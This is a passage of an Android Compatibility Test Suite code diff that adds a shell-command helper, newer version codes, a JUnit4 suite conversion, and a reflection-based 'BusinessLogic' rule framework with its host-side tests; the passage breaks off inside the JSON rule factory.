+++ b/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Device-side compatibility utility class for executing ADB shell commands.
+ */
+public class ShellCommandUtil {
+
+ public static void execute(ITestDevice device, String command)
+ throws DeviceNotAvailableException {
+ device.executeShellCommand(command);
+ }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java b/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java
index 7611b2f..ab54d85 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java
@@ -40,5 +40,9 @@
public static final int LOLLIPOP = 21;
public static final int LOLLIPOP_MR1 = 22;
public static final int M = 23;
- public static final int N = CUR_DEVELOPMENT;
+ public static final int N = 24;
+ public static final int N_MR1 = 25;
+ public static final int O = 26;
+ public static final int O_MR1 = 27;
+ public static final int P = CUR_DEVELOPMENT;
}
diff --git a/common/host-side/util/tests/Android.mk b/common/host-side/util/tests/Android.mk
index 338d6c3..5741ec4 100644
--- a/common/host-side/util/tests/Android.mk
+++ b/common/host-side/util/tests/Android.mk
@@ -18,7 +18,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := compatibility-host-util junit-host json-prebuilt tradefed
+LOCAL_JAVA_LIBRARIES := compatibility-host-util easymock junit-host json-prebuilt tradefed
LOCAL_MODULE := compatibility-host-util-tests
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicHostExecutorTest.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicHostExecutorTest.java
new file mode 100644
index 0000000..140f9da
--- /dev/null
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicHostExecutorTest.java
@@ -0,0 +1,318 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+
+import org.easymock.EasyMock;
+import org.junit.AssumptionViolatedException;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import junit.framework.AssertionFailedError;
+
+/**
+ * Tests for {@link BusinessLogicHostExecutor}.
+ */
+@RunWith(JUnit4.class)
+public class BusinessLogicHostExecutorTest {
+
+ private static final String THIS_CLASS =
+ "com.android.compatibility.common.util.BusinessLogicHostExecutorTest";
+ private static final String METHOD_1 = THIS_CLASS + ".method1";
+ private static final String METHOD_2 = THIS_CLASS + ".method2";
+ private static final String METHOD_3 = THIS_CLASS + ".method3";
+ private static final String METHOD_4 = THIS_CLASS + ".method4";
+ private static final String METHOD_5 = THIS_CLASS + ".method5";
+ private static final String METHOD_6 = THIS_CLASS + ".method6";
+ private static final String METHOD_7 = THIS_CLASS + ".method7";
+ private static final String METHOD_8 = THIS_CLASS + ".method8";
+ private static final String METHOD_9 = THIS_CLASS + ".method9";
+ private static final String METHOD_10 = THIS_CLASS + ".method10";
+ private static final String FAKE_METHOD = THIS_CLASS + ".methodDoesntExist";
+ private static final String ARG_STRING_1 = "arg1";
+ private static final String ARG_STRING_2 = "arg2";
+
+ private static final String OTHER_METHOD_1 = THIS_CLASS + "$OtherClass.method1";
+
+ private String mInvoked = null;
+ private Object[] mArgsUsed = null;
+ private IBuildInfo mMockBuild;
+ private ITestDevice mMockDevice;
+ private BusinessLogicExecutor mExecutor;
+
+ @Before
+ public void setUp() {
+ mMockBuild = EasyMock.createMock(IBuildInfo.class);
+ mMockDevice = EasyMock.createMock(ITestDevice.class);
+ mExecutor = new BusinessLogicHostExecutor(mMockDevice, mMockBuild, this);
+ // reset the instance variables tracking the method invoked and the args used
+ mInvoked = null;
+ mArgsUsed = null;
+ // reset the OtherClass class variable tracking the method invoked
+ OtherClass.otherInvoked = null;
+ }
+
+ @Test
+ public void testInvokeMethodInThisClass() throws Exception {
+ mExecutor.invokeMethod(METHOD_1);
+ // assert that mInvoked was set for this BusinessLogicDeviceExecutorTest instance
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ }
+
+ @Test
+ public void testInvokeMethodInOtherClass() throws Exception {
+ mExecutor.invokeMethod(OTHER_METHOD_1);
+ // assert that OtherClass.method1 was invoked, and static field of OtherClass was changed
+ assertEquals("Failed to invoke method in other class", OtherClass.otherInvoked,
+ OTHER_METHOD_1);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+ // assert both String arguments were correctly set for method2
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringAndDeviceArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_3, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_3);
+ // assert that String arg and ITestDevice arg were correctly set for method3
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], mMockDevice);
+ }
+
+ @Test
+ public void testInvokeMethodWithDeviceAndStringArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_4, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_4);
+ // Like testInvokeMethodWithStringAndDeviceArgs, but flip the args for method4
+ assertEquals("Failed to set first argument", mArgsUsed[0], mMockDevice);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_1);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringArrayArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_5, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+ // assert both String arguments were correctly set for method5
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithEmptyStringArrayArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_5);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+ // assert no String arguments were set for method5
+ assertEquals("Incorrectly set args", mArgsUsed.length, 0);
+ }
+
+ @Test
+ public void testInvokeMethodWithStringAndStringArrayArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_6, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_6);
+ // assert both String arguments were correctly set for method6
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeMethodWithAllArgTypes() throws Exception {
+ mExecutor.invokeMethod(METHOD_7, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_7);
+ // assert all arguments were correctly set for method7
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], mMockBuild);
+ assertEquals("Failed to set second argument", mArgsUsed[2], mMockDevice);
+ assertEquals("Failed to set third argument", mArgsUsed[3], ARG_STRING_2);
+ }
+
+ @Test
+ public void testInvokeOverloadedMethodOneArg() throws Exception {
+ mExecutor.invokeMethod(METHOD_1, ARG_STRING_1);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ assertEquals("Set wrong number of arguments", mArgsUsed.length, 1);
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ }
+
+ @Test
+ public void testInvokeOverloadedMethodTwoArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_1, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+ assertEquals("Set wrong number of arguments", mArgsUsed.length, 2);
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeNonExistentMethod() throws Exception {
+ mExecutor.invokeMethod(FAKE_METHOD, ARG_STRING_1, ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodTooManyArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_3, ARG_STRING_1, ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodTooFewArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_2, ARG_STRING_1);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testInvokeMethodIncompatibleArgs() throws Exception {
+ mExecutor.invokeMethod(METHOD_8, ARG_STRING_1);
+ }
+
+ @Test
+ public void testExecuteConditionCheckReturnValue() throws Exception {
+ assertTrue("Wrong return value",
+ mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_1));
+ assertFalse("Wrong return value",
+ mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_2));
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testExecuteInvalidCondition() throws Exception {
+ mExecutor.executeCondition(METHOD_1); // method1 does not return type boolean
+ }
+
+ @Test
+ public void testExecuteAction() throws Exception {
+ mExecutor.executeAction(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+ assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+ // assert both String arguments were correctly set for method2
+ assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+ assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testExecuteActionThrowException() throws Exception {
+ mExecutor.executeAction(METHOD_9);
+ }
+
+ @Test
+ public void testExecuteActionViolateAssumption() throws Exception {
+ try {
+ mExecutor.executeAction(METHOD_10);
+ // JUnit4 doesn't support expecting AssumptionViolatedException with "expected"
+ // attribute on @Test annotation, so test using Assert.fail()
+ fail("Expected assumption failure");
+ } catch (AssumptionViolatedException e) {
+ // expected
+ }
+ }
+
+ public void method1() {
+ mInvoked = METHOD_1;
+ }
+
+ // overloaded method with one arg
+ public void method1(String arg1) {
+ mInvoked = METHOD_1;
+ mArgsUsed = new Object[]{arg1};
+ }
+
+ // overloaded method with two args
+ public void method1(String arg1, String arg2) {
+ mInvoked = METHOD_1;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ public boolean method2(String arg1, String arg2) {
+ mInvoked = METHOD_2;
+ mArgsUsed = new Object[]{arg1, arg2};
+ return arg1.equals(arg2);
+ }
+
+ public void method3(String arg1, ITestDevice arg2) {
+ mInvoked = METHOD_3;
+
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ // Same as method3, but flipped args
+ public void method4(ITestDevice arg1, String arg2) {
+ mInvoked = METHOD_4;
+ mArgsUsed = new Object[]{arg1, arg2};
+ }
+
+ public void method5(String... args) {
+ mInvoked = METHOD_5;
+ mArgsUsed = args;
+ }
+
+ public void method6(String arg1, String... moreArgs) {
+ mInvoked = METHOD_6;
+ List<String> allArgs = new ArrayList<>();
+ allArgs.add(arg1);
+ allArgs.addAll(Arrays.asList(moreArgs));
+ mArgsUsed = allArgs.toArray(new String[0]);
+ }
+
+ public void method7(String arg1, IBuildInfo arg2, ITestDevice arg3, String... moreArgs) {
+ mInvoked = METHOD_7;
+ List<Object> allArgs = new ArrayList<>();
+ allArgs.add(arg1);
+ allArgs.add(arg2);
+ allArgs.add(arg3);
+ allArgs.addAll(Arrays.asList(moreArgs));
+ mArgsUsed = allArgs.toArray(new Object[0]);
+ }
+
+ public void method8(String arg1, Integer arg2) {
+ // This method should never be successfully invoked, since Integer parameter types are
+ // unsupported for the BusinessLogic service
+ }
+
+ // throw AssertionFailedError
+ public void method9() throws AssertionFailedError {
+ assertTrue(false);
+ }
+
+ // throw AssumptionViolatedException
+ public void method10() throws AssumptionViolatedException {
+ assumeTrue(false);
+ }
+
+ public static class OtherClass {
+
+ public static String otherInvoked = null;
+
+ public void method1() {
+ otherInvoked = OTHER_METHOD_1;
+ }
+ }
+}
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
index ef0e824..a992d0a 100644
--- a/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/DynamicConfigHandlerTest.java
@@ -118,7 +118,7 @@
.contains("override-config-list-val-2-1"));
} finally {
FileUtil.deleteFile(localConfigFile);
- FileUtil.recursiveDelete(mergedFile.getParentFile());
+ FileUtil.recursiveDelete(mergedFile);
}
}
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
index a706018..32408e4 100644
--- a/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/HostUnitTests.java
@@ -15,24 +15,21 @@
*/
package com.android.compatibility.common.util;
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
/**
* A test suite for all host util unit tests.
* <p/>
* All tests listed here should be self-contained, and do not require any external dependencies.
*/
-public class HostUnitTests extends TestSuite {
-
- public HostUnitTests() {
- super();
- addTestSuite(DynamicConfigHandlerTest.class);
- addTestSuite(ModuleResultTest.class);
- addTestSuite(TestFilterTest.class);
- }
-
- public static Test suite() {
- return new HostUnitTests();
- }
-}
\ No newline at end of file
+@RunWith(Suite.class)
+@SuiteClasses({
+ BusinessLogicHostExecutorTest.class,
+ DynamicConfigHandlerTest.class,
+ ModuleResultTest.class,
+ TestFilterTest.class,
+})
+public class HostUnitTests {
+ // empty on purpose
+}
diff --git a/common/util/Android.mk b/common/util/Android.mk
index ae89d37..d5c5f5a 100644
--- a/common/util/Android.mk
+++ b/common/util/Android.mk
@@ -26,7 +26,7 @@
LOCAL_MODULE := compatibility-common-util-devicesidelib
-LOCAL_STATIC_JAVA_LIBRARIES := guava
+LOCAL_STATIC_JAVA_LIBRARIES := guava junit
LOCAL_SDK_VERSION := current
@@ -45,6 +45,7 @@
LOCAL_MODULE := compatibility-common-util-hostsidelib
LOCAL_STATIC_JAVA_LIBRARIES := guavalib \
+ json-prebuilt \
junit-host \
kxml2-2.3.0 \
platform-test-annotations-host
diff --git a/common/util/src/com/android/compatibility/common/util/BusinessLogic.java b/common/util/src/com/android/compatibility/common/util/BusinessLogic.java
new file mode 100644
index 0000000..adab1eb
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/BusinessLogic.java
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Helper and constants accessible to host and device components that enable Business Logic
+ * configuration
+ */
+public class BusinessLogic {
+
+ // Device location to which business logic data is pushed
+ public static final String DEVICE_FILE = "/sdcard/bl";
+
+ /* A map from testcase name to the business logic rules for the test case */
+ protected Map<String, List<BusinessLogicRule>> mRules;
+
+ /**
+ * Determines whether business logic exists for a given test name
+ * @param testName the name of the test case, prefixed by fully qualified class name, then '#'.
+ * For example, "com.android.foo.FooTest#testFoo"
+ * @return whether business logic exists for this test for this suite
+ */
+ public boolean hasLogicFor(String testName) {
+ List<BusinessLogicRule> rules = mRules.get(testName);
+ return rules != null && !rules.isEmpty();
+ }
+
+ /**
+ * Apply business logic for the given test.
+ * @param testName the name of the test case, prefixed by fully qualified class name, then '#'.
+ * For example, "com.android.foo.FooTest#testFoo"
+ * @param executor a {@link BusinessLogicExecutor}
+ */
+ public void applyLogicFor(String testName, BusinessLogicExecutor executor) {
+ List<BusinessLogicRule> rules = mRules.get(testName);
+ if (rules == null || rules.isEmpty()) {
+ return;
+ }
+ for (BusinessLogicRule rule : rules) {
+ // Check conditions
+ if (rule.invokeConditions(executor)) {
+ rule.invokeActions(executor);
+ }
+ }
+ }
+
+ /**
+ * Nested class representing an Business Logic Rule. Stores a collection of conditions
+ * and actions for later invokation.
+ */
+ protected static class BusinessLogicRule {
+
+ /* Stored conditions and actions */
+ protected List<BusinessLogicRuleCondition> mConditions;
+ protected List<BusinessLogicRuleAction> mActions;
+
+ public BusinessLogicRule(List<BusinessLogicRuleCondition> conditions,
+ List<BusinessLogicRuleAction> actions) {
+ mConditions = conditions;
+ mActions = actions;
+ }
+
+ /**
+ * Method that invokes all Business Logic conditions for this rule, and returns true
+ * if all conditions evaluate to true.
+ */
+ public boolean invokeConditions(BusinessLogicExecutor executor) {
+ for (BusinessLogicRuleCondition condition : mConditions) {
+ if (!condition.invoke(executor)) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Method that invokes all Business Logic actions for this rule
+ */
+ public void invokeActions(BusinessLogicExecutor executor) {
+ for (BusinessLogicRuleAction action : mActions) {
+ action.invoke(executor);
+ }
+ }
+ }
+
+ /**
+ * Nested class representing an Business Logic Rule Condition. Stores the name of a method
+ * to invoke, as well as String args to use during invokation.
+ */
+ protected static class BusinessLogicRuleCondition {
+
+ /* Stored method name and String args */
+ protected String mMethodName;
+ protected List<String> mMethodArgs;
+ /* Whether or not the boolean result of this condition should be reversed */
+ protected boolean mNegated;
+
+
+ public BusinessLogicRuleCondition(String methodName, List<String> methodArgs,
+ boolean negated) {
+ mMethodName = methodName;
+ mMethodArgs = methodArgs;
+ mNegated = negated;
+ }
+
+ /**
+ * Invoke this Business Logic condition with an executor.
+ */
+ public boolean invoke(BusinessLogicExecutor executor) {
+ // XOR the negated boolean with the return value of the method
+ return (mNegated != executor.executeCondition(mMethodName,
+ mMethodArgs.toArray(new String[mMethodArgs.size()])));
+ }
+ }
+
+ /**
+ * Nested class representing an Business Logic Rule Action. Stores the name of a method
+ * to invoke, as well as String args to use during invokation.
+ */
+ protected static class BusinessLogicRuleAction {
+
+ /* Stored method name and String args */
+ protected String mMethodName;
+ protected List<String> mMethodArgs;
+
+ public BusinessLogicRuleAction(String methodName, List<String> methodArgs) {
+ mMethodName = methodName;
+ mMethodArgs = methodArgs;
+ }
+
+ /**
+ * Invoke this Business Logic action with an executor.
+ */
+ public void invoke(BusinessLogicExecutor executor) {
+ executor.executeAction(mMethodName,
+ mMethodArgs.toArray(new String[mMethodArgs.size()]));
+ }
+ }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/BusinessLogicExecutor.java b/common/util/src/com/android/compatibility/common/util/BusinessLogicExecutor.java
new file mode 100644
index 0000000..5c42858
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/BusinessLogicExecutor.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import org.junit.AssumptionViolatedException;
+
+/**
+ * Resolves methods provided by the BusinessLogicService and invokes them
+ */
+public abstract class BusinessLogicExecutor {
+
+ /** String representations of the String class and String[] class */
+ protected static final String STRING_CLASS = "java.lang.String";
+ protected static final String STRING_ARRAY_CLASS = "[Ljava.lang.String;";
+
+ /**
+ * Execute a business logic condition.
+ * @param method the name of the method to invoke. Must include fully qualified name of the
+ * enclosing class, followed by '.', followed by the name of the method
+ * @param args the string arguments to supply to the method
+ * @return the return value of the method invoked
+ * @throws RuntimeException when failing to resolve or invoke the condition method
+ */
+ public boolean executeCondition(String method, String... args) {
+ try {
+ return (Boolean) invokeMethod(method, args);
+ } catch (ClassNotFoundException | IllegalAccessException | InstantiationException |
+ InvocationTargetException | NoSuchMethodException e) {
+ throw new RuntimeException(String.format(
+ "BusinessLogic: Failed to invoke condition method %s with args: %s", method,
+ Arrays.toString(args)), e);
+ }
+ }
+
+ /**
+ * Execute a business logic action.
+ * @param method the name of the method to invoke. Must include fully qualified name of the
+ * enclosing class, followed by '.', followed by the name of the method
+ * @param args the string arguments to supply to the method
+ * @throws RuntimeException when failing to resolve or invoke the action method
+ */
+ public void executeAction(String method, String... args) {
+ try {
+ invokeMethod(method, args);
+ } catch (ClassNotFoundException | IllegalAccessException | InstantiationException |
+ NoSuchMethodException e) {
+ throw new RuntimeException(String.format(
+ "BusinessLogic: Failed to invoke action method %s with args: %s", method,
+ Arrays.toString(args)), e);
+ } catch (InvocationTargetException e) {
+ // This action throws an exception, so throw the original exception (e.g.
+ // AssertionFailedError) for a more readable stacktrace.
+ Throwable t = e.getCause();
+ if (AssumptionViolatedException.class.isInstance(t)) {
+ // This is an assumption failure (registered as a "pass") so don't wrap this
+ // throwable in a RuntimeException
+ throw (AssumptionViolatedException) t;
+ } else {
+ RuntimeException re = new RuntimeException(t.getMessage(), t.getCause());
+ re.setStackTrace(t.getStackTrace());
+ throw re;
+ }
+ }
+ }
+
+ /**
+ * Execute a business logic method.
+ * @param method the name of the method to invoke. Must include fully qualified name of the
+ * enclosing class, followed by '.', followed by the name of the method
+ * @param args the string arguments to supply to the method
+ * @return the return value of the method invoked (type Boolean if method is a condition)
+ * @throws RuntimeException when failing to resolve or invoke the method
+ */
+ protected Object invokeMethod(String method, String... args) throws ClassNotFoundException,
+ IllegalAccessException, InstantiationException, InvocationTargetException,
+ NoSuchMethodException {
+ // Method names served by the BusinessLogic service should assume format
+ // classname.methodName, but also handle format classname#methodName since test names use
+ // this format
+ int index = (method.indexOf('#') == -1) ? method.lastIndexOf('.') : method.indexOf('#');
+ if (index == -1) {
+ throw new RuntimeException(String.format("BusinessLogic: invalid method name "
+ + "\"%s\". Method string must include fully qualified class name. "
+ + "For example, \"com.android.packagename.ClassName.methodName\".", method));
+ }
+ String className = method.substring(0, index);
+ Class cls = Class.forName(className);
+ Object obj = cls.getDeclaredConstructor().newInstance();
+ if (getTestObject() != null && cls.isAssignableFrom(getTestObject().getClass())) {
+ // The given method is a member of the test class, use the known test class instance
+ obj = getTestObject();
+ }
+ ResolvedMethod rm = getResolvedMethod(cls, method.substring(index + 1), args);
+ return rm.invoke(obj);
+ }
+
+ /**
+ * Get the test object. This method is left abstract, since non-abstract subclasses will set
+ * the test object in the constructor.
+ * @return the test case instance
+ */
+ protected abstract Object getTestObject();
+
+ /**
+ * Get the method and list of arguments corresponding to the class, method name, and proposed
+ * argument values, in the form of a {@link ResolvedMethod} object. This object stores all
+ * information required to successfully invoke the method. getResolvedMethod is left abstract,
+ * since argument types differ between device-side (e.g. Context) and host-side
+ * (e.g. ITestDevice) implementations of this class.
+ * @param cls the Class to which the method belongs
+ * @param methodName the name of the method to invoke
+ * @param args the string arguments to use when invoking the method
+ * @return a {@link ResolvedMethod}
+ * @throws ClassNotFoundException
+ */
+ protected abstract ResolvedMethod getResolvedMethod(Class cls, String methodName,
+ String... args) throws ClassNotFoundException;
+
+ /**
+ * Retrieve all methods within a class that match a given name
+ * @param cls the class
+ * @param name the method name
+ * @return a list of method objects
+ */
+ protected List<Method> getMethodsWithName(Class cls, String name) {
+ List<Method> methodList = new ArrayList<>();
+ for (Method m : cls.getMethods()) {
+ if (name.equals(m.getName())) {
+ methodList.add(m);
+ }
+ }
+ return methodList;
+ }
+
+ /**
+ * Helper class for storing a method object, and a list of arguments to use when invoking the
+ * method. The class is also equipped with an "invoke" method for convenience.
+ */
+ protected static class ResolvedMethod {
+ private Method mMethod;
+ List<Object> mArgs;
+
+ public ResolvedMethod(Method method) {
+ mMethod = method;
+ mArgs = new ArrayList<>();
+ }
+
+ /** Add an argument to the argument list for this instance */
+ public void addArg(Object arg) {
+ mArgs.add(arg);
+ }
+
+ /** Invoke the stored method with the stored args on a given object */
+ public Object invoke(Object instance) throws IllegalAccessException,
+ InvocationTargetException {
+ return mMethod.invoke(instance, mArgs.toArray());
+ }
+ }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/BusinessLogicFactory.java b/common/util/src/com/android/compatibility/common/util/BusinessLogicFactory.java
new file mode 100644
index 0000000..2d3db01
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/BusinessLogicFactory.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRule;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleAction;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleCondition;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Scanner;
+
+/**
+ * Factory for creating a {@link BusinessLogic}
+ */
+public class BusinessLogicFactory {
+
+ // Name of list object storing test-rules pairs
+ private static final String BUSINESS_LOGIC_RULES_LISTS = "businessLogicRulesLists";
+ // Name of test name string
+ private static final String TEST_NAME = "testName";
+ // Name of rules object (one 'rules' object to a single test)
+ private static final String BUSINESS_LOGIC_RULES = "businessLogicRules";
+ // Name of rule conditions array
+ private static final String RULE_CONDITIONS = "ruleConditions";
+ // Name of rule actions array
+ private static final String RULE_ACTIONS = "ruleActions";
+ // Name of method name string
+ private static final String METHOD_NAME = "methodName";
+ // Name of method args array of strings
+ private static final String METHOD_ARGS = "methodArgs";
+
+ /**
+ * Create a BusinessLogic instance from a file of business logic data, formatted in JSON.
+ * This format is identical to that which is received from the Android Partner business logic
+ * service.
+ */
+ public static BusinessLogic createFromFile(File f) {
+ // Populate the map from testname to business rules for this new BusinessLogic instance
+ Map<String, List<BusinessLogicRule>> rulesMap = new HashMap<>();
+ BusinessLogic bl = new BusinessLogic();
+ try {
+ String businessLogicString = readFile(f);
+ JSONObject root = new JSONObject(businessLogicString);
+ JSONArray rulesLists = null;
+ try {
+ rulesLists = root.getJSONArray(BUSINESS_LOGIC_RULES_LISTS);
+ } catch (JSONException e) {
+ bl.mRules = rulesMap;
+ return bl; // no rules defined for this suite, leave internal map empty
+ }
+ for (int i = 0; i < rulesLists.length(); i++) {
+ JSONObject rulesList = rulesLists.getJSONObject(i);
+ String testName = rulesList.getString(TEST_NAME);
+ List<BusinessLogicRule> rules = new ArrayList<>();
+ JSONArray rulesJSONArray = null;
+ try {
+ rulesJSONArray = rulesList.getJSONArray(BUSINESS_LOGIC_RULES);
+ } catch (JSONException e) {
+ // no rules defined for this test case
+ rulesMap.put(testName, rules); // add empty rule list to internal map
+ continue; // advance to next test case
+ }
+ for (int j = 0; j < rulesJSONArray.length(); j++) {
+ JSONObject ruleJSONObject = rulesJSONArray.getJSONObject(j);
+ // Build conditions list
